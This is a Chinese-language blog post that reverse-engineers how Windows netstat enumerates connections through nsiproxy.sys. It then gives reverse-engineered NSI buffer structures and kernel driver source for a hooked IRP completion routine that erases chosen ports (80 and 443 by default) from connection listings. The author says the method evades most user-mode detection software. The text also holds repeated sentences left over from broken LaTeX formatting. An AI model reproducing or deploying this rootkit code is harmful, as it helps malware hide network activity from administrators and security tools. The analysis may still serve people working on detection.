Rookit是个老生常谈的话题了,它包括隐藏进程、隐藏模块、隐藏端口等隐藏技术和其他对抗杀软的技术。作为一名二进制安全研究员你可以不去写这些代码,但你不能不懂,也因为最近隔壁组的同事在做这方面的检测向我请教了一些问题,索性我就利用空余时间研究了一下网络端口的隐藏。
网上随便去搜搜隐藏端口的资料,发现能用的几乎没有。 这才是我研究的动力和分享的意义。 \textcolor{green}{这才是我研究的动力和分享的意义。} 这才是我研究的动力和分享的意义。于是就自己研究了一通,发现也没什么特别的。
本篇分享的隐藏端口方法可过绝大部分应用层软件的检测 \textcolor{Red}{本篇分享的隐藏端口方法可过绝大部分应用层软件的检测} 本篇分享的隐藏端口方法可过绝大部分应用层软件的检测
这一切还得从netstat
工具开始说起,相信很多人都用过这款工具来查看系统建立的所有网络连接信息。我常用的方式:
netstat -a
为了弄明白这款工具的工作原理,我对其进行了简单地逆向分析。
首先netstat会调用 I n i t S n m p \textcolor{cornflowerblue}{InitSnmp} InitSnmp函数初始化一些需要用到的函数
DWORD __stdcall InitSnmp()
{
...
v8 = _time(0);
if ( !GetSystemDirectoryA(Buffer, 0x104u) )
return GetLastError();
v1 = &Buffer[strlen(Buffer)];
if ( verbose )
{
if ( StringCbCopyA(v1, (char *)&v10 - v1, "\\mgmtapi.dll") < 0 )
return 8;
LibraryA = LoadLibraryA(Buffer);
if ( LibraryA )
pSnmpMgrOidToStr = (int)GetProcAddress(LibraryA, "SnmpMgrOidToStr");
}
if ( StringCbCopyA(v1, (char *)&v10 - v1, "\\inetmib1.dll") < 0 )
return 8;
v3 = LoadLibraryA(Buffer);
v4 = v3;
if ( !v3 )
return 2;
gInitAddr = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))GetProcAddress(v3, "SnmpExtensionInit");
if ( !gInitAddr )
return 2;
gQueryAddr = (int)GetProcAddress(v4, "SnmpExtensionQuery");
if ( !gQueryAddr )
return 2;
gInitAddr(v8, v7, v6);
return 0;
}
然后调用 i n e t m i b 1 ! S n m p E x t e n s i o n I n i t \textcolor{cornflowerblue}{inetmib1!SnmpExtensionInit} inetmib1!SnmpExtensionInit,内部会调用 i n e t m i b 1 U ! p d a t e C a c h e \textcolor{cornflowerblue}{inetmib1U!pdateCache} inetmib1U!pdateCache
int __stdcall UpdateCache(int a1)
{
int v2; // [esp+10h] [ebp-1Ch]
RtlAcquireResourceExclusive(&g_LockTable + a1, 1u);
if ( g_dwLastUpdateTable[a1] && GetTickCount() - g_dwLastUpdateTable[a1] < g_dwTimeoutTable[a1] )
goto LABEL_6;
v2 = g_pfnLoadFunctionTable[a1](); // 根据传进来的参数为1可以知道将会调用的函数是LoadIfTable
if ( !v2 )
{
g_dwLastUpdateTable[a1] = GetTickCount();
LABEL_6:
v2 = 0;
goto LABEL_7;
}
g_dwLastUpdateTable[a1] = 0;
LABEL_7:
RtlReleaseResource(&g_LockTable + a1);
return v2;
}
int __stdcall LoadIfTable()
{
int result; // eax
if ( lpMem )
{
HeapFree(g_hPrivateHeap, 0, lpMem);
lpMem = 0;
}
if ( dword_3F4C708 )
{
NsiFreeTable(dword_3F4C708, dword_3F4C70C, dword_3F4C710, dword_3F4C714);
dword_3F4C708 = 0;
dword_3F4C70C = 0;
dword_3F4C710 = 0;
dword_3F4C714 = 0;
dword_3F4C718 = 0;
}
result = InternalGetIfTable(&lpMem, g_hPrivateHeap, 0);
if ( !result )
return NsiAllocateAndGetTable(
1,
&NPI_MS_NDIS_MODULEID,
0,
&dword_3F4C708,
8,
&dword_3F4C70C,
0x440,
&dword_3F4C710,
0xD8,
&dword_3F4C714,
0x258,
&dword_3F4C718,
0);
return result;
}
其中最关键的就是函数 N s i A l l o c a t e A n d G e t T a b l e \textcolor{cornflowerblue}{NsiAllocateAndGetTable} NsiAllocateAndGetTable,实际调用的是导入函数 N S I ! N s i A l l o c a t e A n d G e t T a b l e \textcolor{cornflowerblue}{NSI!NsiAllocateAndGetTable} NSI!NsiAllocateAndGetTable,接着调用 N S I ! N s i E n u m e r a t e O b j e c t s A l l P a r a m e t e r s E x \textcolor{cornflowerblue}{NSI!NsiEnumerateObjectsAllParametersEx} NSI!NsiEnumerateObjectsAllParametersEx去往内核。
int __stdcall NsiEnumerateObjectsAllParametersEx(PVOID InputBuffer)
{
DWORD BytesReturned; // [esp+0h] [ebp-4h] BYREF
BytesReturned = 0x3C;
return NsiIoctl(0x12001Bu, InputBuffer, 0x3Cu, InputBuffer, &BytesReturned, 0);
}
ULONG __stdcall NsiIoctl(
ULONG IoControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped)
{
...
result = NsiOpenDevice(1);
if ( result )
return result;
v7 = *lpBytesReturned;
if ( lpOverlapped )
{
if ( DeviceIoControl(
g_NsiAsyncDeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
v7,
lpBytesReturned,
lpOverlapped) )
{
return 0;
}
return GetLastError();
}
...
}
接收 N S I ! N s i I o c t l \textcolor{cornflowerblue}{NSI!NsiIoctl} NSI!NsiIoctl发出的控制码并处理是在 n s i p r o x y ! N s i p p D i s p a t c h D e v i c e C o n t r o l \textcolor{cornflowerblue}{nsiproxy!NsippDispatchDeviceControl} nsiproxy!NsippDispatchDeviceControl中
int __stdcall NsippDispatchDeviceControl(PIRP pIrp, _IO_STACK_LOCATION *Iostk)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
MasterIrp = pIrp->AssociatedIrp.MasterIrp;
RequestorMode = pIrp->RequestorMode;
p_Information = &pIrp->IoStatus.Information;
pIrp->IoStatus.Information = 0;
LOBYTE(pIrp) = RequestorMode;
LowPart = Iostk->Parameters.Read.ByteOffset.LowPart;
Options = Iostk->Parameters.Create.Options;
Irqla = (unsigned __int8)MasterIrp;
Parameters = Iostk->Parameters.CreatePipe.Parameters;
if ( LowPart <= 0x120023 )
{
if ( LowPart == 0x120023 )
return NsippDeregisterChangeNotification((KIRQL)Parameters, Options, (char)pIrp, (int)Iostk);
v10 = LowPart - 0x120007;
if ( !v10 )
return NsippGetParameter(Parameters, Options, (char)pIrp, (int)p_Information);
v11 = v10 - 4;
if ( !v11 )
return NsippSetParameter(Parameters, Options, (char)pIrp);
v12 = v11 - 4;
if ( !v12 )
return NsippGetAllParameters(Parameters, Options, (char)pIrp, (int)p_Information);
v13 = v12 - 4;
if ( !v13 )
return NsippSetAllParameters((KIRQL)Parameters, (PKSPIN_LOCK)Options, (char)pIrp, (int)Iostk);
v14 = v13 - 8;
if ( !v14 ) // 0x12001Bu
return NsippEnumerateObjectsAllParameters(Parameters, Options, (int)pIrp, p_Information); // 枚举所有网络连接的参数
if ( v14 == 4 )
return NsippRegisterChangeNotification(Parameters, Options, (char)pIrp, (int)Iostk, (int)p_Information);
return 0xC0000002;
}
v16 = LowPart - 0x12003F;
if ( !v16 )
return NsippRequestChangeNotification((PKSPIN_LOCK)pIrp, (KIRQL)Parameters, Options, (KIRQL)pIrp);
v17 = v16 - 1;
if ( !v17 )
return NsippCancelChangeNotification(Irqla, Options);
v18 = v17 - 7;
if ( !v18 )
return NsippEnumerateObjectsAllPersistentParametersWithMask(Parameters, Options, (char)pIrp, (int)p_Information);
v19 = v18 - 4;
if ( !v19 )
return NsippGetAllPersistentParametersWithMask(Parameters, Options, (char)pIrp, (int)p_Information);
if ( v19 != 4 )
return 0xC0000002;
return NsippSetAllPersistentParametersWithMask(Parameters, Options, (char)pIrp, (int)p_Information);
}
现在总结一下netstat的主要调用链:
n e t s t a t ! I n i t S n m p − > i n e t m i b 1 ! S n m p E x t e n s i o n I n i t − > i n e t m i b 1 ! U p d a t e C a c h e − > i n e t m i b 1 ! _ L o a d I f T a b l e − > N S I ! N s i A l l o c a t e A n d G e t T a b l e − > \textcolor{orange}{netstat!InitSnmp\ ->\ inetmib1!SnmpExtensionInit\ -> \ inetmib1!UpdateCache\ -> inetmib1!\_LoadIfTable\ -> \ NSI!NsiAllocateAndGetTable\ ->} netstat!InitSnmp −> inetmib1!SnmpExtensionInit −> inetmib1!UpdateCache −>inetmib1!_LoadIfTable −> NSI!NsiAllocateAndGetTable −>
N S I ! N s i E n u m e r a t e O b j e c t s A l l P a r a m e t e r s − > N S I ! N s i E n u m e r a t e O b j e c t s A l l P a r a m e t e r s E x − > n s i p r o x y ! N s i p p E n u m e r a t e O b j e c t s A l l P a r a m e t e r s \textcolor{orange}{\ NSI!NsiEnumerateObjectsAllParameters\ -> NSI!NsiEnumerateObjectsAllParametersEx\ ->\ nsiproxy!NsippEnumerateObjectsAllParameters} NSI!NsiEnumerateObjectsAllParameters −>NSI!NsiEnumerateObjectsAllParametersEx −> nsiproxy!NsippEnumerateObjectsAllParameters
nsiproxy.sys
驱动创建的设备对象叫\Device\Nsi
,我们可以HOOK它的设备IO控制派遣函数,过滤控制码0x12001B,替换原设备处理该控制码的完成例程。在我们的完成例程中解析数据,抹掉我们的目标数据就能够实现端口隐藏了。
然后最最最关键的地方来了,就是如何解析数据,他的数据结构是什么?我想这才是网上几乎没有可用的源码的原因了吧。在win7之前尚且有人发过可用的源码,而win7及其以后的系统中就没有可用的源码了。倒不是因为这个技术行不通了,而是没人去分析它的数据结构了,也或者研究的人并不打算放出来。
那么今天我将重新分析并给出其结构,我想这应该是全网仅此一家了吧。希望看到这的帅哥美女能够给我点个赞,毕竟研究不易。 \textcolor{green}{那么今天我将重新分析并给出其结构,我想这应该是全网仅此一家了吧。希望看到这的帅哥美女能够给我点个赞,毕竟研究不易。} 那么今天我将重新分析并给出其结构,我想这应该是全网仅此一家了吧。希望看到这的帅哥美女能够给我点个赞,毕竟研究不易。
typedef struct _NET_INFO
{
USHORT Type; // +0x00
USHORT lPort; // +0x02
ULONG lHost; // +0x04
char Reserved1[0x16]; // +0x08
USHORT rPort; // +0x1E
ULONG rHost; // +0x20
char Reserved2[0x14]; // +0x24
}NET_INFO, * PNET_INFO; // Total:0x38
typedef struct _PROC_INFO {
ULONG Reserved1[3]; // +0x00
ULONG OwnerPid; // +0x0C
LARGE_INTEGER CreateTimestamp; // +0x10
ULONGLONG OwningModuleInfo; // +0x18
}PROC_INFO, * PPROC_INFO; // Total:0x20
typedef struct _STATE_INFO
{
ULONG State; // +0x00
ULONG Reserved1; // +0x04
LARGE_INTEGER CreateTimestamp; // +0x08
}STATE_INFO, * PSTATE_INFO; // Total:0x10
// nsiproxy缓冲区inBuffer/outBuffer布局:
typedef struct _MIB_PARAMX32
{
ULONG Unk_0; // +0x00
ULONG Unk_1; // +0x04
ULONG* POINTER_32 ModuleId; // +0x08
ULONG dwType; // +0x0C
ULONG Unk_2; // +0x10
ULONG Unk_3; // +0x14
VOID* POINTER_32 NetInfo; // +0x18
ULONG NetInfoSize; // +0x1C
VOID* POINTER_32 outBuffer; // +0x20
ULONG outBufferSize; // +0x24
VOID* POINTER_32 StateInfo; // +0x28
ULONG StateInfoSize; // +0x2C
VOID* POINTER_32 ProcInfo; // +0x30
ULONG ProcInfoSize; // +0x34
ULONG ConnectCounts; // +0x38
}MIB_PARAMX32, * PMIB_PARAMX32; // Total:0x3C
typedef struct _MIB_PARAMX64
{
ULONG64 Unk_0; // +0x00
ULONG* ModuleId; // +0x08
ULONG64 dwType; // +0x10
ULONG64 Unk_2; // +0x18
ULONG64 Unk_3; // +0x20
PVOID NetInfo; // +0x28
ULONG64 NetInfoSize; // +0x30
PVOID outBuffer; // +0x38
ULONG64 outBufferSize; // +0x40
PVOID StateInfo; // +0x48
ULONG64 StateInfoSize; // +0x50
PVOID ProcInfo; // +0x58
ULONG64 ProcInfoSize; // +0x60
ULONG64 ConnectCounts; // +0x68
}MIB_PARAMX64, * PMIB_PARAMX64; // Total:0x70
为防止script kid直接拿来用,源码只放出最关键部分,其余部分还需各位帅哥美女自己完善~
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context) {
PHOOK_IO_COMPLETION hookContext;
PIO_COMPLETION_ROUTINE OriginalCompletion;
PNET_INFO pNetInfo = NULL;
hookContext = (PHOOK_IO_COMPLETION)Context;
OriginalCompletion = hookContext->OriginalCompletion;
PIO_STACK_LOCATION irpspNext = IoGetNextIrpStackLocation(Irp);
if (!NT_SUCCESS(Irp->IoStatus.Status))
{
goto free_exit;
}
#ifdef _WIN64
if (IoIs32bitProcess(NULL))
{
#endif
PMIB_PARAMX32 pNsiParam = (PMIB_PARAMX32)Irp->UserBuffer;
if (pNsiParam->NetInfoSize == sizeof(NET_INFO))
{
if (MmIsAddressValid(pNsiParam->NetInfo))
{
pNetInfo = (PNET_INFO)pNsiParam->NetInfo;
for (ULONG i = 0; i < pNsiParam->ConnectCounts;)
{
// 这里默认隐藏80和443端口
if (htons(pNetInfo[i].lPort) == 80 ||
htons(pNetInfo[i].lPort) == 443 ||
htons(pNetInfo[i].rPort) == 80 ||
htons(pNetInfo[i].rPort) == 443)
{
if (i < pNsiParam->ConnectCounts - 1)
{
for (ULONG j = i; j < pNsiParam->ConnectCounts - 1; j++)
{
// 从此开始将后面的数据向前移动,覆盖当前位置的数据,达到隐藏目的
RtlCopyMemory(&pNetInfo[j], &pNetInfo[j + 1], sizeof(NET_INFO));
}
}
else
{
RtlZeroMemory(&pNetInfo[i], sizeof(NET_INFO));
}
// 记得将总的连接数减去1,因为已经隐藏了一个
pNsiParam->ConnectCounts -= 1;
}
else
{
i++;
}
}
}
}
#ifdef _WIN64
}
else
{
PMIB_PARAMX64 pNsiParam = (PMIB_PARAMX64)Irp->UserBuffer;
if (pNsiParam->NetInfoSize == sizeof(NET_INFO))
{
if (MmIsAddressValid(pNsiParam->NetInfo))
{
pNetInfo = (PNET_INFO)pNsiParam->NetInfo;
for (ULONG i = 0; i < pNsiParam->ConnectCounts;)
{
// 这里默认隐藏80和443端口
if (htons(pNetInfo[i].lPort) == 80 ||
htons(pNetInfo[i].lPort) == 443 ||
htons(pNetInfo[i].rPort) == 80 ||
htons(pNetInfo[i].rPort) == 443)
{
if (i < pNsiParam->ConnectCounts - 1)
{
for (ULONG j = i; j < pNsiParam->ConnectCounts - 1; j++)
{
// 从此开始将后面的数据向前移动,覆盖当前位置的数据,达到隐藏目的
RtlCopyMemory(&pNetInfo[j], &pNetInfo[j + 1], sizeof(NET_INFO));
}
}
else
{
RtlZeroMemory(&pNetInfo[i], sizeof(NET_INFO));
}
// 记得将总的连接数减去1,因为已经隐藏了一个
pNsiParam->ConnectCounts -= 1;
}
else
{
i++;
}
}
}
}
}
#endif
free_exit:
irpspNext->Context = hookContext->OriginalContext;
irpspNext->CompletionRoutine = hookContext->OriginalCompletion;
ExFreePoolWithTag(Context, MY_MEMORY_TAG);
if (hookContext->bShouldInvolve)
{
return (OriginalCompletion)(DeviceObject, Irp, NULL);
}
else
{
if (Irp->PendingReturned) {
IoMarkIrpPending(Irp);
}
return STATUS_SUCCESS;
}
}